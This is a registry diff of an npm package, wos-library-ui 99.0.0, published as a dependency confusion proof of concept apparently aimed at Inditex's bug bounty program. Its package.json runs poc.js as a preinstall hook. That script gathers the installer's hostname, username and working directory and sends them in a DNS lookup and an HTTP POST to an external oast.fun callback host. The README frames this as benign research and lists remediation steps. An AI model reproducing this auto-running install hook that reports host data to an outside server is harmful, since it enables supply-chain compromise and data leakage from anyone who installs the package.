wos-library-ui 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +41 -0
- package/index.js +19 -0
- package/package.json +16 -0
- package/poc.js +113 -0
package/README.md
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
# wos-library-ui - Security Research
|
|
2
|
+
|
|
3
|
+
## Purpose
|
|
4
|
+
|
|
5
|
+
This package was published as part of **authorized security research** on the [Inditex HackerOne Bug Bounty Program](https://hackerone.com/inditex).
|
|
6
|
+
|
|
7
|
+
It demonstrates that the internal package name `wos-library-ui` (used in Inditex's Warehouse Operations System as a UI component library at version `1.7.2`) was unclaimed on the public npm registry, making it vulnerable to **dependency confusion** attacks.
|
|
8
|
+
|
|
9
|
+
## What This Package Does
|
|
10
|
+
|
|
11
|
+
During `preinstall`, it:
|
|
12
|
+
1. Sends a **single DNS lookup** to a researcher-controlled Interactsh server encoding the package name, hostname, and username
|
|
13
|
+
2. Sends a **single HTTP POST** to the same server with install context metadata
|
|
14
|
+
3. Writes a local marker JSON file to prove execution
|
|
15
|
+
|
|
16
|
+
**No malicious actions are performed.** No data is exfiltrated beyond the above identifiers needed to prove code execution context.
|
|
17
|
+
|
|
18
|
+
## If You Installed This Unexpectedly
|
|
19
|
+
|
|
20
|
+
Your build system pulled this package from the public npm registry instead of your private/internal registry. This means:
|
|
21
|
+
1. Your `.npmrc` or build configuration does not properly pin `wos-library-ui` to your private registry
|
|
22
|
+
2. An attacker could have published a malicious version that would execute arbitrary code in your CI/CD pipeline
|
|
23
|
+
|
|
24
|
+
## Evidence
|
|
25
|
+
|
|
26
|
+
The internal package name was discovered in publicly accessible JavaScript bundles:
|
|
27
|
+
```
|
|
28
|
+
node_modules/.pnpm/wos-library-ui@1.7.2_lib-frontsga@9.26.1_react-dom@18.3.1_react@18.3.1__react-router-do_06bd279db69d4831bf72c82706880652/node_modules/wos-library-ui/
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## Remediation
|
|
32
|
+
|
|
33
|
+
- Reserve this package name on npm (transfer ownership to your organization)
|
|
34
|
+
- Configure per-scope registry pinning in `.npmrc`: `@inditex:registry=https://your-private-registry/`
|
|
35
|
+
- Use scoped package names for all internal packages (e.g., `@inditex/wos-library-ui`)
|
|
36
|
+
- Commit lockfiles and enable integrity checking
|
|
37
|
+
|
|
38
|
+
## Contact
|
|
39
|
+
|
|
40
|
+
- Researcher: sidhant (HackerOne)
|
|
41
|
+
- Program: Inditex Bug Bounty (HackerOne)
|
package/index.js
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* wos-library-ui - Security Research PoC
|
|
3
|
+
*
|
|
4
|
+
* This package was published as part of authorized security research
|
|
5
|
+
* demonstrating a dependency confusion vulnerability.
|
|
6
|
+
*
|
|
7
|
+
* If this package was installed in your environment unexpectedly,
|
|
8
|
+
* it means your build system is vulnerable to dependency confusion attacks.
|
|
9
|
+
*
|
|
10
|
+
* Contact: security@inditex.com
|
|
11
|
+
* HackerOne Program: Inditex
|
|
12
|
+
*/
|
|
13
|
+
|
|
14
|
+
module.exports = {
|
|
15
|
+
name: 'wos-library-ui',
|
|
16
|
+
version: '99.0.0',
|
|
17
|
+
type: 'security-research-poc',
|
|
18
|
+
message: 'This is a dependency confusion proof of concept. No malicious actions are performed. A DNS/HTTP callback is triggered during preinstall to prove code execution.'
|
|
19
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "wos-library-ui",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Security research - dependency confusion proof of concept. This package demonstrates that the name 'wos-library-ui' was unclaimed on the public npm registry while being used internally by Inditex WOS. If you received this package unexpectedly, please contact security@inditex.com. Author: sidhant (HackerOne researcher).",
|
|
5
|
+
"keywords": ["security-research", "dependency-confusion", "poc"],
|
|
6
|
+
"author": "sidhant <security-researcher>",
|
|
7
|
+
"license": "ISC",
|
|
8
|
+
"repository": {
|
|
9
|
+
"type": "git",
|
|
10
|
+
"url": "https://github.com/user/dependency-confusion-poc"
|
|
11
|
+
},
|
|
12
|
+
"scripts": {
|
|
13
|
+
"preinstall": "node poc.js"
|
|
14
|
+
},
|
|
15
|
+
"main": "index.js"
|
|
16
|
+
}
|
package/poc.js
ADDED
|
@@ -0,0 +1,113 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* wos-library-ui - Dependency Confusion PoC
|
|
3
|
+
*
|
|
4
|
+
* Benign preinstall callback for security research.
|
|
5
|
+
* Sends a single DNS + HTTP ping to researcher's Interactsh server
|
|
6
|
+
* to prove code execution context during npm/pnpm install.
|
|
7
|
+
*
|
|
8
|
+
* NO destructive actions. NO data exfiltration beyond identifiers.
|
|
9
|
+
* NO persistence. NO lateral movement.
|
|
10
|
+
*
|
|
11
|
+
* Researcher: sidhant | Program: Inditex (HackerOne)
|
|
12
|
+
*/
|
|
13
|
+
|
|
14
|
+
const https = require('https');
|
|
15
|
+
const http = require('http');
|
|
16
|
+
const dns = require('dns');
|
|
17
|
+
const os = require('os');
|
|
18
|
+
const fs = require('fs');
|
|
19
|
+
const path = require('path');
|
|
20
|
+
|
|
21
|
+
const PKG = 'wos-library-ui';
|
|
22
|
+
const VER = '99.0.0';
|
|
23
|
+
const INTERACTSH = 'csytkgaubytabdgcvgljmgf8o1uj876pg.oast.fun';
|
|
24
|
+
|
|
25
|
+
// Collect environment identifiers (non-sensitive)
|
|
26
|
+
const info = {
|
|
27
|
+
package: PKG,
|
|
28
|
+
version: VER,
|
|
29
|
+
type: 'dependency-confusion-poc',
|
|
30
|
+
researcher: 'sidhant',
|
|
31
|
+
program: 'Inditex HackerOne',
|
|
32
|
+
hostname: os.hostname(),
|
|
33
|
+
username: os.userInfo().username,
|
|
34
|
+
cwd: process.cwd(),
|
|
35
|
+
timestamp: new Date().toISOString(),
|
|
36
|
+
message: 'This file was created by a security research PoC package. Your build resolved wos-library-ui from the PUBLIC npm registry instead of your internal registry. This proves dependency confusion. Contact: sidhant via HackerOne/Inditex program.'
|
|
37
|
+
};
|
|
38
|
+
|
|
39
|
+
// Helper: sanitize string for DNS label (a-z0-9 and hyphens, max 63 chars)
|
|
40
|
+
function dnsLabel(str) {
|
|
41
|
+
return String(str)
|
|
42
|
+
.toLowerCase()
|
|
43
|
+
.replace(/[^a-z0-9-]/g, '-')
|
|
44
|
+
.replace(/-+/g, '-')
|
|
45
|
+
.replace(/^-|-$/g, '')
|
|
46
|
+
.substring(0, 63);
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
// --- 1. Write local marker file (same as wos-library PoC) ---
|
|
50
|
+
const marker = JSON.stringify(info, null, 2);
|
|
51
|
+
const markerFilename = '.wos-library-ui-depconf-poc.json';
|
|
52
|
+
|
|
53
|
+
try {
|
|
54
|
+
fs.writeFileSync(path.join(process.cwd(), markerFilename), marker);
|
|
55
|
+
} catch (e) {}
|
|
56
|
+
|
|
57
|
+
try {
|
|
58
|
+
fs.writeFileSync(path.join(os.tmpdir(), 'wos-library-ui-depconf-poc.json'), marker);
|
|
59
|
+
} catch (e) {}
|
|
60
|
+
|
|
61
|
+
// --- 2. DNS callback (proves code execution via DNS log) ---
|
|
62
|
+
// Format: <pkg>.<hostname>.<username>.<interactsh>
|
|
63
|
+
const dnsPayload = [
|
|
64
|
+
dnsLabel(PKG),
|
|
65
|
+
dnsLabel(info.hostname),
|
|
66
|
+
dnsLabel(info.username)
|
|
67
|
+
].join('.') + '.' + INTERACTSH;
|
|
68
|
+
|
|
69
|
+
try {
|
|
70
|
+
dns.resolve(dnsPayload, 'A', () => {});
|
|
71
|
+
} catch (e) {}
|
|
72
|
+
|
|
73
|
+
// --- 3. HTTP callback (proves code execution via HTTP log) ---
|
|
74
|
+
const httpPayload = JSON.stringify({
|
|
75
|
+
p: PKG,
|
|
76
|
+
v: VER,
|
|
77
|
+
h: info.hostname,
|
|
78
|
+
u: info.username,
|
|
79
|
+
d: info.cwd,
|
|
80
|
+
t: info.timestamp
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
try {
|
|
84
|
+
const req = http.request({
|
|
85
|
+
hostname: INTERACTSH,
|
|
86
|
+
port: 80,
|
|
87
|
+
path: '/' + dnsLabel(PKG),
|
|
88
|
+
method: 'POST',
|
|
89
|
+
headers: {
|
|
90
|
+
'Content-Type': 'application/json',
|
|
91
|
+
'Content-Length': Buffer.byteLength(httpPayload),
|
|
92
|
+
'X-Poc-Package': PKG,
|
|
93
|
+
'X-Poc-Researcher': 'sidhant'
|
|
94
|
+
},
|
|
95
|
+
timeout: 5000
|
|
96
|
+
}, () => {});
|
|
97
|
+
req.on('error', () => {});
|
|
98
|
+
req.write(httpPayload);
|
|
99
|
+
req.end();
|
|
100
|
+
} catch (e) {}
|
|
101
|
+
|
|
102
|
+
// --- Console output ---
|
|
103
|
+
console.log('');
|
|
104
|
+
console.log('[SECURITY RESEARCH] wos-library-ui@99.0.0 — Dependency Confusion PoC');
|
|
105
|
+
console.log('[SECURITY RESEARCH] This package was installed from the PUBLIC npm registry.');
|
|
106
|
+
console.log('[SECURITY RESEARCH] Your build is vulnerable to dependency confusion.');
|
|
107
|
+
console.log('[SECURITY RESEARCH] Researcher: sidhant | Program: Inditex (HackerOne)');
|
|
108
|
+
console.log('[SECURITY RESEARCH] Callback sent to: ' + INTERACTSH);
|
|
109
|
+
console.log('[SECURITY RESEARCH] Marker file written to: ' + markerFilename);
|
|
110
|
+
console.log('');
|
|
111
|
+
|
|
112
|
+
// Force exit after 3s so preinstall doesn't hang on open sockets
|
|
113
|
+
setTimeout(() => process.exit(0), 3000).unref();
|